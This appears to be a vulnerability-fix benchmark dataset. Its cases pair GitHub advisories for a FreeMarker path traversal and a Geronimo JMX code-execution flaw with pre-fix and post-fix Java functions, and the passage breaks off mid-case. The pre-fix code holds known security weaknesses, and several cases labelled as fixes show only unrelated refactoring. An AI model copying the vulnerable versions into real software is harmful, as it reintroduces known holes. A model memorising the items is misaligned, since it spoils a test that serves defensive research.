"apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "lookupTemplateWithAcquisitionStrategy" function_lines = [[740, 782]] id = "apache-freemarker-eb721acc4b96dd7f" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" post_fix = " private TemplateLookupResult lookupTemplateWithAcquisitionStrategy(String path) throws IOException {\n int asterisk = path.indexOf(ASTERISK);\n // Shortcut in case there is no acquisition\n if (asterisk == -1) {\n return TemplateLookupResult.from(path, findTemplateSource(path));\n }\n StringTokenizer tok = new StringTokenizer(path, \"/\");\n int lastAsterisk = -1;\n List tokpath = new ArrayList<>();\n while (tok.hasMoreTokens()) {\n String pathToken = tok.nextToken();\n if (pathToken.equals(ASTERISK_STR)) {\n if (lastAsterisk != -1) {\n tokpath.remove(lastAsterisk);\n }\n lastAsterisk = tokpath.size();\n }\n tokpath.add(pathToken);\n }\n if (lastAsterisk == -1) { // if there was no real \"*\" step after all\n return TemplateLookupResult.from(path, findTemplateSource(path));\n }\n String basePath = concatPath(tokpath, 0, lastAsterisk);\n String resourcePath = concatPath(tokpath, lastAsterisk + 1, tokpath.size());\n if (resourcePath.endsWith(\"/\")) {\n resourcePath = resourcePath.substring(0, resourcePath.length() - 1);\n }\n StringBuilder buf = new StringBuilder(path.length()).append(basePath);\n int l = basePath.length();\n for (; ; ) {\n String fullPath = buf.append(resourcePath).toString();\n Object templateSource = findTemplateSource(fullPath);\n if (templateSource != null) {\n return TemplateLookupResult.from(fullPath, templateSource);\n }\n if (l == 0) {\n return TemplateLookupResult.createNegativeResult();\n }\n l = basePath.lastIndexOf(SLASH, l - 2) + 1;\n buf.setLength(l);\n }\n }\n" pre_fix = " private TemplateLookupResult lookupTemplateWithAcquisitionStrategy(String path) throws IOException {\n int asterisk = path.indexOf(ASTERISK);\n // Shortcut in case there is no acquisition\n if (asterisk == -1) {\n return TemplateLookupResult.from(path, findTemplateSource(path));\n }\n StringTokenizer tok = new StringTokenizer(path, \"/\");\n int lastAsterisk = -1;\n List tokpath = new ArrayList();\n while (tok.hasMoreTokens()) {\n String pathToken = tok.nextToken();\n if (pathToken.equals(ASTERISKSTR)) {\n if (lastAsterisk != -1) {\n tokpath.remove(lastAsterisk);\n }\n lastAsterisk = tokpath.size();\n }\n tokpath.add(pathToken);\n }\n if (lastAsterisk == -1) { // if there was no real \"*\" step after all\n return TemplateLookupResult.from(path, findTemplateSource(path));\n }\n String basePath = concatPath(tokpath, 0, lastAsterisk);\n String resourcePath = concatPath(tokpath, lastAsterisk + 1, tokpath.size());\n if (resourcePath.endsWith(\"/\")) {\n resourcePath = resourcePath.substring(0, resourcePath.length() - 1);\n }\n StringBuilder buf = new StringBuilder(path.length()).append(basePath);\n int l = basePath.length();\n for (; ; ) {\n String fullPath = buf.append(resourcePath).toString();\n Object templateSource = findTemplateSource(fullPath);\n if (templateSource != null) {\n return TemplateLookupResult.from(fullPath, templateSource);\n }\n if (l == 0) {\n return TemplateLookupResult.createNegativeResult();\n }\n l = basePath.lastIndexOf(SLASH, l - 2) + 1;\n buf.setLength(l);\n }\n }\n" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "buildDebugName" function_lines = [[329, 466]] id = "apache-freemarker-eb9b0fff47e5400b" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" post_fix = " ? buildDebugName(name, locale, customLookupCondition, encoding, parseAsFTL)\n : null;\n final TemplateKey tk = new TemplateKey(name, locale, customLookupCondition, encoding, parseAsFTL);\n\n CachedTemplate cachedTemplate;\n if (isStorageConcurrent) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n } else {\n synchronized (storage) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n }\n }\n\n final long now = System.currentTimeMillis();\n\n long lastModified;\n boolean rethrown = false;\n TemplateLookupResult newLookupResult = null;\n try {\n if (cachedTemplate != null) {\n // If we're within the refresh delay, return the cached copy\n if (now - cachedTemplate.lastChecked < updateDelay) {\n if (debug) {\n LOG.debug(debugName + \" cached copy not yet stale; using cached.\");\n }\n // Can be null, indicating a cached negative lookup\n Object t = cachedTemplate.templateOrException;\n if (t instanceof Template || t == null) {\n return (Template) t;\n } else if (t instanceof RuntimeException) {\n throwLoadFailedException((RuntimeException) t);\n } else if (t instanceof IOException) {\n rethrown = true;\n throwLoadFailedException((IOException) t);\n }\n throw new BugException(\"t is \" + t.getClass().getName());\n }\n\n // Clone as the instance bound to the map should be treated as\n // immutable to ensure proper concurrent semantics\n cachedTemplate = cachedTemplate.cloneCachedTemplate();\n // Update the last-checked flag\n cachedTemplate.lastChecked = now;\n\n // Find the template source\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n // Template source was removed\n if (!newLookupResult.isPositive()) {\n if (debug) {\n LOG.debug(debugName + \" no source found.\");\n }\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n // If the source didn't change and its last modified date\n // also didn't change, return the cached version.\n final Object newLookupResultSource = newLookupResult.getTemplateSource();\n lastModified = templateLoader.getLastModified(newLookupResultSource);\n boolean lastModifiedNotChanged = lastModified == cachedTemplate.lastModified;\n boolean sourceEquals = newLookupResultSource.equals(cachedTemplate.source);\n if (lastModifiedNotChanged && sourceEquals) {\n if (debug) {\n LOG.debug(debugName + \": using cached since \" + newLookupResultSource + \" hasn't changed.\");\n }\n storeCached(tk, cachedTemplate);\n return (Template) cachedTemplate.templateOrException;\n } else if (debug) {\n if (!sourceEquals) {\n LOG.debug(\"Updating source because: \" +\n \"sourceEquals=false\" +\n \", newlyFoundSource=\" + StringUtil.jQuoteNoXSS(newLookupResultSource) +\n \", cached.source=\" + StringUtil.jQuoteNoXSS(cachedTemplate.source));\n } else {\n LOG.debug(\"Updating source because: \" +\n \"lastModifiedNotChanged=\" + lastModifiedNotChanged +\n \", cached.lastModified=\" + cachedTemplate.lastModified +\n \" != source.lastModified=\" + lastModified);\n }\n }\n } else {\n if (debug) {\n LOG.debug(\"Couldn't find template in cache for \" + debugName + \"; will try to load it.\");\n }\n\n // Construct a new CachedTemplate entry. Note we set the\n // cachedTemplate.lastModified to Long.MIN_VALUE. This is\n // a flag that signs it has to be explicitly queried later on.\n cachedTemplate = new CachedTemplate();\n cachedTemplate.lastChecked = now;\n\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n if (!newLookupResult.isPositive()) {\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n cachedTemplate.lastModified = lastModified = Long.MIN_VALUE;\n }\n\n Object source = newLookupResult.getTemplateSource();\n cachedTemplate.source = source;\n\n // If we get here, then we need to (re)load the template\n if (debug) {\n LOG.debug(\"Loading template for \" + debugName + \" from \" + StringUtil.jQuoteNoXSS(source));\n }\n\n lastModified = lastModified == Long.MIN_VALUE ? templateLoader.getLastModified(source) : lastModified;\n Template template = loadTemplate(\n templateLoader, source,\n name, newLookupResult.getTemplateSourceName(), locale, customLookupCondition,\n encoding, parseAsFTL);\n cachedTemplate.templateOrException = template;\n cachedTemplate.lastModified = lastModified;\n storeCached(tk, cachedTemplate);\n return template;\n } catch (RuntimeException e) {\n if (cachedTemplate != null) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } catch (IOException e) {\n if (!rethrown) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } finally {\n if (newLookupResult != null && newLookupResult.isPositive()) {\n templateLoader.closeTemplateSource(newLookupResult.getTemplateSource());\n }\n }\n }\n" pre_fix = " ? buildDebugName(name, locale, customLookupCondition, encoding, parseAsFTL)\n : null;\n final TemplateKey tk = new TemplateKey(name, locale, customLookupCondition, encoding, parseAsFTL);\n \n CachedTemplate cachedTemplate;\n if (isStorageConcurrent) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n } else {\n synchronized (storage) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n }\n }\n \n final long now = System.currentTimeMillis();\n \n long lastModified = -1L;\n boolean rethrown = false;\n TemplateLookupResult newLookupResult = null;\n try {\n if (cachedTemplate != null) {\n // If we're within the refresh delay, return the cached copy\n if (now - cachedTemplate.lastChecked < updateDelay) {\n if (debug) {\n LOG.debug(debugName + \" cached copy not yet stale; using cached.\");\n }\n // Can be null, indicating a cached negative lookup\n Object t = cachedTemplate.templateOrException;\n if (t instanceof Template || t == null) {\n return (Template) t;\n } else if (t instanceof RuntimeException) {\n throwLoadFailedException((RuntimeException) t);\n } else if (t instanceof IOException) {\n rethrown = true;\n throwLoadFailedException((IOException) t);\n }\n throw new BugException(\"t is \" + t.getClass().getName());\n }\n \n // Clone as the instance bound to the map should be treated as\n // immutable to ensure proper concurrent semantics\n cachedTemplate = cachedTemplate.cloneCachedTemplate();\n // Update the last-checked flag\n cachedTemplate.lastChecked = now;\n\n // Find the template source\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n // Template source was removed\n if (!newLookupResult.isPositive()) {\n if (debug) {\n LOG.debug(debugName + \" no source found.\");\n } \n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n // If the source didn't change and its last modified date\n // also didn't change, return the cached version.\n final Object newLookupResultSource = newLookupResult.getTemplateSource();\n lastModified = templateLoader.getLastModified(newLookupResultSource);\n boolean lastModifiedNotChanged = lastModified == cachedTemplate.lastModified;\n boolean sourceEquals = newLookupResultSource.equals(cachedTemplate.source);\n if (lastModifiedNotChanged && sourceEquals) {\n if (debug) {\n LOG.debug(debugName + \": using cached since \" + newLookupResultSource + \" hasn't changed.\");\n }\n storeCached(tk, cachedTemplate);\n return (Template) cachedTemplate.templateOrException;\n } else if (debug) {\n if (!sourceEquals) {\n LOG.debug(\"Updating source because: \" + \n \"sourceEquals=\" + sourceEquals + \n \", newlyFoundSource=\" + StringUtil.jQuoteNoXSS(newLookupResultSource) + \n \", cached.source=\" + StringUtil.jQuoteNoXSS(cachedTemplate.source));\n } else if (!lastModifiedNotChanged) {\n LOG.debug(\"Updating source because: \" + \n \"lastModifiedNotChanged=\" + lastModifiedNotChanged + \n \", cached.lastModified=\" + cachedTemplate.lastModified + \n \" != source.lastModified=\" + lastModified);\n }\n }\n } else {\n if (debug) {\n LOG.debug(\"Couldn't find template in cache for \" + debugName + \"; will try to load it.\");\n }\n \n // Construct a new CachedTemplate entry. Note we set the\n // cachedTemplate.lastModified to Long.MIN_VALUE. This is\n // a flag that signs it has to be explicitly queried later on.\n cachedTemplate = new CachedTemplate();\n cachedTemplate.lastChecked = now;\n \n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n \n if (!newLookupResult.isPositive()) {\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n \n cachedTemplate.lastModified = lastModified = Long.MIN_VALUE;\n }\n\n Object source = newLookupResult.getTemplateSource();\n cachedTemplate.source = source;\n \n // If we get here, then we need to (re)load the template\n if (debug) {\n LOG.debug(\"Loading template for \" + debugName + \" from \" + StringUtil.jQuoteNoXSS(source));\n }\n \n lastModified = lastModified == Long.MIN_VALUE ? templateLoader.getLastModified(source) : lastModified; \n Template template = loadTemplate(\n templateLoader, source,\n name, newLookupResult.getTemplateSourceName(), locale, customLookupCondition,\n encoding, parseAsFTL);\n cachedTemplate.templateOrException = template;\n cachedTemplate.lastModified = lastModified;\n storeCached(tk, cachedTemplate);\n return template;\n } catch (RuntimeException e) {\n if (cachedTemplate != null) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } catch (IOException e) {\n if (!rethrown) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } finally {\n if (newLookupResult != null && newLookupResult.isPositive()) {\n templateLoader.closeTemplateSource(newLookupResult.getTemplateSource());\n }\n }\n }\n\n private static final Method INIT_CAUSE = getInitCauseMethod();\n " repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "equals" function_lines = [[842, 854]] id = "apache-freemarker-f10a2c2cfda93e16" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" post_fix = " public boolean equals(Object o) {\n if (o instanceof TemplateKey) {\n TemplateKey tk = (TemplateKey) o;\n return\n parse == tk.parse &&\n name.equals(tk.name) &&\n locale.equals(tk.locale) &&\n Objects.equals(customLookupCondition, tk.customLookupCondition) &&\n encoding.equals(tk.encoding);\n }\n return false;\n }\n\n @Override" pre_fix = " public boolean equals(Object o) {\n if (o instanceof TemplateKey) {\n TemplateKey tk = (TemplateKey) o;\n return\n parse == tk.parse &&\n name.equals(tk.name) &&\n locale.equals(tk.locale) &&\n nullSafeEquals(customLookupCondition, tk.customLookupCondition) &&\n encoding.equals(tk.encoding);\n }\n return false;\n }\n" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "setConfiguration" function_lines = [[62, 78]] id = "apache-freemarker-f5ba78c9c91de7a1" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateConfigurationFactory.java" post_fix = " public final void setConfiguration(Configuration cfg) {\n if (this.cfg != null) {\n if (cfg != this.cfg) {\n throw new IllegalStateException(\n \"The TemplateConfigurationFactory is already bound to another Configuration\");\n }\n } else {\n this.cfg = cfg;\n setConfigurationOfChildren(cfg);\n }\n }\n\n /**\n * Returns the configuration this object belongs to, or {@code null} if it isn't yet bound to a\n * {@link Configuration}.\n */" pre_fix = " public final void setConfiguration(Configuration cfg) {\n if (this.cfg != null) {\n if (cfg != this.cfg) {\n throw new IllegalStateException(\n \"The TemplateConfigurationFactory is already bound to another Configuration\");\n }\n return;\n } else {\n this.cfg = cfg;\n setConfigurationOfChildren(cfg);\n }\n }\n \n /**\n * Returns the configuration this object belongs to, or {@code null} if it isn't yet bound to a\n * {@link Configuration}.\n */" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "setUseCaches" function_lines = [[138, 145]] id = "apache-freemarker-f78f7186c5610790" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/URLTemplateSource.java" post_fix = " void setUseCaches(boolean useCaches) {\n if (this.conn != null) {\n conn.setUseCaches(useCaches);\n this.useCaches = useCaches;\n }\n }\n \n}" pre_fix = " void setUseCaches(boolean useCaches) {\n if (this.conn != null) {\n conn.setUseCaches(useCaches);\n this.useCaches = Boolean.valueOf(useCaches);\n }\n }\n \n}" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "AliasTemplateNumberFormatFactory" function_lines = [[41, 64]] id = "apache-freemarker-fabd1840fb3c1eed" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/core/AliasTemplateNumberFormatFactory.java" post_fix = " public AliasTemplateNumberFormatFactory(String targetFormatString) {\n this(targetFormatString, null);\n }\n\n /**\n * @param defaultTargetFormatString\n * The format string this format will be an alias to if there's no locale-specific format string for the\n * requested locale in {@code localizedTargetFormatStrings}. Not {@code null}.\n * @param localizedTargetFormatStrings\n * Maps {@link Locale}-s to format strings (maybe {@code null}). If the desired locale doesn't occur in the\n * map, a less specific locale is tried, repeatedly until only the language part remains. For example, if\n * locale is {@code new Locale(\"en\", \"US\", \"Linux\")}, then these keys will be attempted until a match is\n * found, in this order: {@code new Locale(\"en\", \"US\", \"Linux\")}, {@code new Locale(\"en\", \"US\")},\n * {@code new Locale(\"en\")}. If there's still no matching key, the value of the {@code targetFormatString}\n * will be used.\n */\n public AliasTemplateNumberFormatFactory(\n String defaultTargetFormatString, Map localizedTargetFormatStrings) {\n NullArgumentException.check(\"defaultTargetFormatString\", defaultTargetFormatString);\n this.defaultTargetFormatString = defaultTargetFormatString;\n this.localizedTargetFormatStrings = localizedTargetFormatStrings;\n }\n\n @Override" pre_fix = " public AliasTemplateNumberFormatFactory(String targetFormatString) {\n this.defaultTargetFormatString = targetFormatString;\n localizedTargetFormatStrings = null;\n }\n\n /**\n * @param defaultTargetFormatString\n * The format string this format will be an alias to if there's no locale-specific format string for the\n * requested locale in {@code localizedTargetFormatStrings}\n * @param localizedTargetFormatStrings\n * Maps {@link Locale}-s to format strings. If the desired locale doesn't occur in the map, a less\n * specific locale is tried, repeatedly until only the language part remains. For example, if locale is\n * {@code new Locale(\"en\", \"US\", \"Linux\")}, then these keys will be attempted untol a match is found, in\n * this order: {@code new Locale(\"en\", \"US\", \"Linux\")}, {@code new Locale(\"en\", \"US\")},\n * {@code new Locale(\"en\")}. If there's still no matching key, the value of the\n * {@code targetFormatString} will be used.\n */\n public AliasTemplateNumberFormatFactory(\n String defaultTargetFormatString, Map localizedTargetFormatStrings) {\n this.defaultTargetFormatString = defaultTargetFormatString;\n this.localizedTargetFormatStrings = localizedTargetFormatStrings;\n }\n\n @Override" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-v64w-96p6-fx7w" advisory_text = "Apache Geronimo JMX Remoting functionality allows remote code execution in 3.x before v3.0.1\n\nThe JMX Remoting functionality in Apache Geronimo 3.x before 3.0.1, as used in IBM WebSphere Application Server (WAS) Community Edition 3.0.0.3 and other products, does not properly implement the RMI classloader, which allows remote attackers to execute arbitrary code by using the JMX connector to send a crafted serialized object." commit = "ee031c5e62b0d358250d06c2aa6722518579a6c5" cwe = "CWE-94" family = "injection" function = "doStart" function_lines = [[188, 217]] id = "apache-geronimo-0779e8a19c60e8ad" language = "java" method = "fix_site" parent = "67b5e07bf00e01e690e825ee5674666e85e7e204" path = "framework/modules/geronimo-jmx-remoting/src/main/java/org/apache/geronimo/jmxremoting/JMXConnector.java" post_fix = " public void doStart() throws Exception {\n jmxServiceURL = new JMXServiceURL(protocol, host, port, urlPath);\n Authenticator authenticator = null;\n Map env = new HashMap();\n if (applicationConfigName != null) {\n authenticator = new Authenticator(applicationConfigName, classLoader);\n String accessconfig = serverInfo.resolveServerPath(\"var/security/jmx_access.properties\");\n env.put(\"jmx.remote.x.access.file\", accessconfig);\n env.put(JMXConnectorServer.AUTHENTICATOR, authenticator);\n } else {\n log.warn(\"Starting unauthenticating JMXConnector for \" + jmxServiceURL);\n }\n RMIServerSocketFactory serverSocketFactory = new GeronimoRMIServerSocketFactory(host);\n env.put(RMIConnectorServer.RMI_SERVER_SOCKET_FACTORY_ATTRIBUTE, serverSocketFactory);\n \n server = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, env, mbeanServer);\n NotificationFilterSupport filter = new NotificationFilterSupport();\n filter.enableType(JMXConnectionNotification.OPENED);\n filter.enableType(JMXConnectionNotification.CLOSED);\n filter.enableType(JMXConnectionNotification.FAILED);\n server.addNotificationListener(authenticator, filter, null);\n \n ClassLoader oldCl = Thread.currentThread().getContextClassLoader();\n Thread.currentThread().setContextClassLoader(getClass().getClassLoader());\n try {\n server.start();\n } finally {\n Thread.currentThread().setContextClassLoader(oldCl);\n }\n log.debug(\"Started JMXConnector \" + server.getAddress());\n }\n" pre_fix = " public void doStart() throws Exception {\n jmxServiceURL = new JMXServiceURL(protocol, host, port, urlPath);\n Authenticator authenticator = null;\n Map env = new HashMap();\n if (applicationConfigName != null) {\n authenticator = new Authenticator(applicationConfigName, classLoader);\n String accessconfig = serverInfo.resolveServerPath(\"var/security/jmx_access.properties\");\n\t env.put(\"jmx.remote.x.access.file\",accessconfig);\n env.put(JMXConnectorServer.AUTHENTICATOR, authenticator);\n } else {\n log.warn(\"Starting unauthenticating JMXConnector for \" + jmxServiceURL);\n }\n RMIServerSocketFactory serverSocketFactory = new GeronimoRMIServerSocketFactory(host);\n env.put(RMIConnectorServer.RMI_SERVER_SOCKET_FACTORY_ATTRIBUTE, serverSocketFactory);\n server = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, env, mbeanServer);\n NotificationFilterSupport filter = new NotificationFilterSupport();\n filter.enableType(JMXConnectionNotification.OPENED);\n filter.enableType(JMXConnectionNotification.CLOSED);\n filter.enableType(JMXConnectionNotification.FAILED);\n server.addNotificationListener(authenticator, filter, null);\n ClassLoader oldCl = Thread.currentThread().getContextClassLoader();\n Thread.currentThread().setContextClassLoader(classLoader);\n try {\n server.start();\n } finally {\n Thread.currentThread().setContextClassLoader(oldCl);\n }\n log.debug(\"Started JMXConnector \" + server.getAddress());\n }\n" repo = "apache/geronimo" url = "https://github.com/apache/geronimo.git" [[case]] advisory = "GHSA-v64w-96p6-fx7w" advisory_text = "Apache Geronimo JMX Remoting functionality allows remote code execution in 3.x before v3.0.1\n\nThe JMX Remoting functionality in Apache Geronimo 3.x before 3.0.1, as used in IBM WebSphere Application Server (WAS) Community Edition 3.0.0.3 and other products, does not properly implement the RMI classloader, which allows remote attackers to execute arbitrary code by using the JMX connector to send a crafted serialized object." commit = "ee031c5e62b0d358250d06c2aa6722518579a6c5" cwe = "CWE-94" family = "injection" function = "doStart" function_lines = [[135, 168]] id = "apache-geronimo-469d656c92e703bc" language = "java" method = "fix_site" parent = "67b5e07bf00e01e690e825ee5674666e85e7e204" path = "framework/modules/geronimo-jmx-remoting/src/main/java/org/apache/geronimo/jmxremoting/JMXSecureConnector.java" post_fix = " public void doStart() throws Exception {\n jmxServiceURL = new JMXServiceURL(protocol, host, port, urlPath);\n Map env = new HashMap();\n Authenticator authenticator = null;\n if (applicationConfigName != null) {\n authenticator = new Authenticator(applicationConfigName, classLoader);\n String accessconfig = serverInfo.resolveServerPath(\"var/security/jmx_access.properties\");\n env.put(\"jmx.remote.x.access.file\", accessconfig);\n env.put(JMXConnectorServer.AUTHENTICATOR, authenticator);\n } else {\n log.warn(\"Starting unauthenticating JMXConnector for \" + jmxServiceURL);\n }\n \n SSLServerSocketFactory sssf = keystoreManager.createSSLServerFactory(null, secureProtocol, algorithm, keyStore, keyAlias, trustStore, classLoader);\n RMIServerSocketFactory rssf = new GeronimoSslRMIServerSocketFactory(sssf, host, clientAuth);\n RMIClientSocketFactory rcsf = new SslRMIClientSocketFactory();\n env.put(RMIConnectorServer.RMI_SERVER_SOCKET_FACTORY_ATTRIBUTE, rssf);\n env.put(RMIConnectorServer.RMI_CLIENT_SOCKET_FACTORY_ATTRIBUTE, rcsf);\n \n server = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, env, mbeanServer);\n NotificationFilterSupport filter = new NotificationFilterSupport();\n filter.enableType(JMXConnectionNotification.OPENED);\n filter.enableType(JMXConnectionNotification.CLOSED);\n filter.enableType(JMXConnectionNotification.FAILED);\n server.addNotificationListener(authenticator, filter, null);\n \n ClassLoader oldCl = Thread.currentThread().getContextClassLoader();\n Thread.currentThread().setContextClassLoader(getClass().getClassLoader());\n try {\n server.start();\n } finally {\n Thread.currentThread().setContextClassLoader(oldCl);\n }\n log.debug(\"Started JMXConnector \" + server.getAddress());\n }\n\n private static class GeronimoSslRMIServerSocketFactory implements RMIServerSocketFactory {\n private SSLServerSocketFactory sssf;\n private boolean clientAuth;\n private InetAddress bindAddress;\n " pre_fix = " public void doStart() throws Exception {\n jmxServiceURL = new JMXServiceURL(protocol, host, port, urlPath);\n Map env = new HashMap();\n Authenticator authenticator = null;\n if (applicationConfigName != null) {\n authenticator = new Authenticator(applicationConfigName, classLoader);\n String accessconfig = serverInfo.resolveServerPath(\"var/security/jmx_access.properties\");\n\t env.put(\"jmx.remote.x.access.file\",accessconfig);\n env.put(JMXConnectorServer.AUTHENTICATOR, authenticator);\n } else {\n log.warn(\"Starting unauthenticating JMXConnector for \" + jmxServiceURL);\n }\n \n SSLServerSocketFactory sssf = keystoreManager.createSSLServerFactory(null, secureProtocol, algorithm, keyStore, keyAlias, trustStore, classLoader);\n RMIServerSocketFactory rssf = new GeronimoSslRMIServerSocketFactory(sssf, host, clientAuth);\n RMIClientSocketFactory rcsf = new SslRMIClientSocketFactory();\n env.put(RMIConnectorServer.RMI_SERVER_SOCKET_FACTORY_ATTRIBUTE, rssf);\n env.put(RMIConnectorServer.RMI_CLIENT_SOCKET_FACTORY_ATTRIBUTE, rcsf);\n \n server = 